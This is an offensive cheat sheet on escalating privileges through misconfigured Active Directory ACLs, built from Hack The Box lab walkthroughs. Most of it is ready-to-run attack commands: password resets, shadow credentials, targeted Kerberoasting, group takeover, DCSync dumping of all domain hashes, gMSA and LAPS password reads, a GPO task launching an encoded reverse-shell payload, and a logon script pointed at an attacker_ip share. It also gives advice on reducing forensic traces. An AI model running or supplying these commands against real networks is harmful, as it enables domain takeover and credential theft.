ACL Abuse
#Overview
Active Directory Access Control Lists (ACLs) define who can do what to which objects. Misconfigured ACLs — where low-privileged users have write permissions over privileged objects — enable escalation without exploiting any software vulnerability. Through BloodHound analysis, these attack paths become visible as edges connecting principals. The most common ACL abuse chains involve GenericAll, GenericWrite, WriteOwner, WriteDACL, ForceChangePassword, and AddSelf on users, groups, or OUs.
#Prerequisites
- A valid domain user account
- BloodHound data ingested (bloodhound-python, SharpHound, or RustHound-CE)
- Tools: bloodyAD, PowerView, dacledit.py, netexec, ADModule
#Detection & Enumeration
#BloodHound Edge Analysis
# Ingest BloodHound data
bloodhound-python -d <domain> -u <user> -p '<pass>' -dc <dc> -c all -ns <ip>
# --zip: compress output for BloodHound upload
# Windows collection (from shell)
.\SharpHound.exe -c All
# Upload resulting zip to BloodHound
# RustHound-CE (includes ADCS data)
rusthound-ce -d <domain> -u <user> -p '<pass>' -zip -c All
In BloodHound GUI:
- Mark the compromised user as Owned (right-click)
- Check Node Info > Outbound Object Control for first-degree ACLs
- Check Reachable High Value Targets for transitive paths
- Use Shortest Path to High Value targets query
#Key BloodHound ACLs to Exploit
// Find all edges emanating from owned principals
MATCH p=(u {owned: true})-[r1]->(n) WHERE r1.isacl=true RETURN p
// Find users with ForceChangePassword right
MATCH (u)-[:ForceChangePassword]->(t:User) RETURN u.name, t.name
#PowerView Enumeration (Windows)
# Enumerate ACLs on a specific group
Get-DomainObjectAcl -Identity "ServiceMgmt" -ResolveGUIDs
# Enumerate ACLs on a specific user
Get-DomainObjectAcl -Identity "management_svc" -ResolveGUIDs
# Find all interesting ACLs for current user
Find-InterestingDomainAcl -ResolveGUIDs
#Exploitation / Execution
#GenericAll on User
GenericAll (FullControl) on a user gives complete control. Common exploits:
A. ForceChangePassword:
# BloodyAD — reset user password
bloodyAD -d tombwatcher.htb -u 'ANSIBLE_DEV$' \
-p ':1c37d00093dc2a5f25176bf2d474afdc' \
--host dc01.tombwatcher.htb set password "sam" "0xdf0xdf!"
# [+] Password changed successfully!
# PowerView (Windows)
$pass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $pass
# net rpc (SMB)
net rpc password target_user 'NewPass123!' -U 'domain/user%pass' -S <DC>
# Add key credential to user, get TGT, recover NT hash
certipy shadow auto -u oorend@rebound.htb -p '1GR8t@$$4u' \
-account winrm_svc -target dc01.rebound.htb -dc-ip 10.10.11.231 -k
# Manual with pywhisker + PKINITtools
python3 pywhisker.py -d "certified.htb" -u "management_svc" \
-H 'a091c1832bcdd4677c28b5a6a1295584' \
--target "ca_operator" --action "add"
python3 gettgtpkinit.py -cert-pfx <pfx_file> <domain>/<target> \
-pfx-pass '<pfx_pass>' <target>.ccache
C. Targeted Kerberoasting (add SPN):
# Add SPN, request TGS, remove SPN
bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
--host dc01.tombwatcher.htb set object alfred servicePrincipalName -v 'http/whatever'
netexec ldap dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -k --kerberoasting hash.txt
# Automated tool
targetedKerberoast.py -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
-f hashcat --dc-host dc01.tombwatcher.htb
# Crack hash
hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt --force
#GenericWrite on User
GenericWrite allows writing to non-protected attributes. Same exploits as GenericAll, but cannot change password directly.
# Add SPN for targeted Kerberoasting (same as above)
bloodyAD -d domain -u attacker -p 'pass' --host <DC> \
set object target_user servicePrincipalName -v 'http/foo'
# Add logon script (forces execution on user logon)
bloodyAD -d domain -u attacker -p 'pass' --host <DC> \
set object target_user scriptPath -v '\\\\attacker_ip\\share\\malicious.bat'
#WriteOwner on Group
Take ownership of a group, grant self GenericAll, then add self.
# From Certified HTB:
# 1. Set ownership
bloodyAD --host "10.129.167.49" -d "certified.htb" -u "judith.mader" \
-p "judith09" set owner management judith.mader
# [+] Old owner replaced by judith.mader on management
# 2. Grant yourself FullControl
python3 dacledit.py -action 'write' -rights 'FullControl' -inheritance \
-principal 'judith.mader' -target 'management' \
"certified.htb"/"judith.mader":'judith09'
# 3. Add yourself to the group
net rpc group addmem "management" "judith.mader" \
-U "certified.htb"/"judith.mader"%'judith09' -S "dc01.certified.htb"
#GenericAll on Group
Full control over a group means you can add members directly.
# Add self to privileged group via bloodyAD
bloodyAD -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb \
--host 10.10.11.69 add groupMember 'service accounts' p.agila
# net rpc (SMB)
net rpc group addmem "Exchange Windows Permissions" john \
-U "domain\svc-alfresco%pass" -S <DC>
# Active Directory module (Windows)
Add-ADGroupMember -Identity "Infrastructure" -Members alfred
#WriteDACL on Domain
WriteDACL on the domain root allows granting any right to any principal — including DCSync.
# From Forest HTB:
# 1. Create a new user
net user john abc123! /add /domain
# 2. Add to Exchange Windows Permissions (which has WriteDACL on domain)
net group "Exchange Windows Permissions" john /add
# 3. Use PowerView to grant DCSync to the new user
. .\PowerView.ps1
$pass = ConvertTo-SecureString 'abc123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\john', $pass)
Add-ObjectACL -PrincipalIdentity john -Credential $cred -Rights DCSync
# 4. Run DCSync
impacket-secretsdump htb/john@10.10.10.161
# Dumps all domain hashes
#WriteProperty on GPO
Modify a GPO to execute code via scheduled tasks or immediate scripts. Use SharpGPOAbuse.
# From TheFrizz HTB:
# 1. Create a new GPO (requires Group Policy Creator Owners membership)
New-GPO -Name privesc | New-GPLink \
-Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes
# 2. Add a computer task with reverse shell payload
.\SharpGPOAbuse.exe --addcomputertask --gponame "privesc" --author TCG \
--taskname PrivEsc --command "powershell.exe" \
--arguments "powershell -e <BASE64_ENCODED_PAYLOAD>"
# 3. Force GPO update
gpupdate /force
#AddSelf on Group
If a user has AddSelf on a privileged group, they can add themselves.
# BloodHound: AddSelf edge visible in Outbound Control
# bloodyAD
bloodyAD -d tombwatcher.htb -u alfred -p basketball \
--host dc01.tombwatcher.htb add groupMember Infrastructure alfred
# [+] alfred added to Infrastructure
# Net use
net group "Infrastructure" alfred /add /domain
#Descendant Object Takeover (DOT)
When a user has GenericAll over an OU, they can grant themselves FullControl over all child objects.
# From Rebound HTB:
# 1. Add self to ServiceMgmt group (which has GenericAll over Service Users OU)
Add-DomainGroupMember -Identity servicemgmt -Members oorend
# 2. Use dacledit.py to extend FullControl to child objects
dacledit.py rebound.htb/oorend:'1GR8t@$$4u' -k -dc-ip 10.10.11.231 \
-action write -rights FullControl -inheritance -principal oorend \
-target-dn "OU=Service Users,DC=rebound,DC=htb" -use-ldaps
# 3. Now oorend has GenericAll over winrm_svc and batch_runner
# 4. Shadow credential attack on winrm_svc
#ReadGMSAPassword abuse
# ReadGMSAPassword — Retrieve gMSA password via msDS-GroupMSAMembership
# If user has ReadGMSAPassword on a gMSA account:
# Using ActiveDirectory module:
Get-ADServiceAccount -Identity gmsa$ -Properties msDS-ManagedPassword
# Using netexec:
nxc ldap <dc> -u user -p pass --gmsa
# Using Python:
python3 gMSADumper.py -d domain.local -u user -p pass -dc-ip 10.10.10.10 gmsa$
#ReadLAPSPassword abuse
# ReadLAPSPassword — Read LAPS password via ACL rights
# If user has AllExtendedRights or ms-Mcs-AdmPwd read on computer object:
# Using netexec:
nxc ldap <dc> -u user -p pass -M laps
# Using PowerShell:
Get-ADComputer -Identity COMPUTER$ -Properties ms-Mcs-AdmPwd | select ms-Mcs-AdmPwd
# Using Python:
python3 laps.py -d domain.local -u user -p pass -dc-ip 10.10.10.10
#Common Pitfalls
- adminCount=1: Objects with adminCount=1 (protected groups) do NOT inherit ACEs from parent containers. Use direct ACL manipulation.
- LDAP Channel Binding: If LDAP channel binding is enforced, use Kerberos authentication (
-kflag) instead of NTLM. - Locked accounts: Spraying an account password may trigger lockouts. Check lockout policy first.
- Cleanup scripts: Some environments (like HTB labs) run periodic cleanup scripts that reset ACL changes. Re-execute if needed.
#OPSEC Considerations
- ACL modifications are logged as Directory Service changes (Event ID 5136 for attribute modifications)
- Password changes generate Event ID 4724 (password reset) on the DC
- Adding SPNs to users is unusual and logged as an attribute modification
- Adding key credentials modifies the msDS-KeyCredentialLink attribute
- Group membership additions generate Event IDs 4728/4732/4756
- Ownership changes modify the nTSecurityDescriptor attribute
- Restore original values where possible to minimize forensic artifacts
#Post-Exploitation Value
- ACL chains can bridge from a standard domain user to Domain Admin
- Access to privileged groups (Account Operators, Backup Operators, Exchange Windows Permissions) enables further escalation
- Password resets on service accounts may cause service disruption — prefer shadow credentials
- GPO modifications affect all machines in the linked OU, providing large-scale compromise
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| bloodyAD | https://github.com/CravateRouge/bloodyAD |
| PowerView | https://github.com/PowerShellMafia/PowerSploit |
| dacledit.py (Impacket fork) | https://github.com/ThePorgs/impacket |
| certipy | https://github.com/ly4k/Certipy |
| pywhisker | https://github.com/ShutdownRepo/pywhisker |
| PKINITtools | https://github.com/dirkjanm/PKINITtools |
| SharpGPOAbuse | https://github.com/byronkg/SharpGPOAbuse |
| targetedKerberoast | https://github.com/ShutdownRepo/targetedKerberoast |
#Source Machines
- Forest (Easy) — svc-alfresco (Account Operators) -> create user -> add to Exchange Windows Permissions -> PowerView DCSync
- Fluffy (Easy) — p.agila -> GenericAll on service accounts -> add self -> GenericWrite -> shadow creds on winrm_svc + ca_svc
- Certified (Medium) — judith.mader WriteOwner on management -> dacledit FullControl -> add self -> GenericWrite -> shadow cred on management_svc -> GenericAll -> shadow cred on ca_operator
- Rebound (Insane) — oorend AddSelf to ServiceMgmt -> GenericAll on OU -> dacledit FullControl -> shadow cred on winrm_svc
- TombWatcher (Medium) — Alfred AddSelf to Infrastructure -> ReadGMSAPassword on ANSIBLE_DEV$ -> ForceChangePassword on Sam -> WriteOwner on John -> shadow cred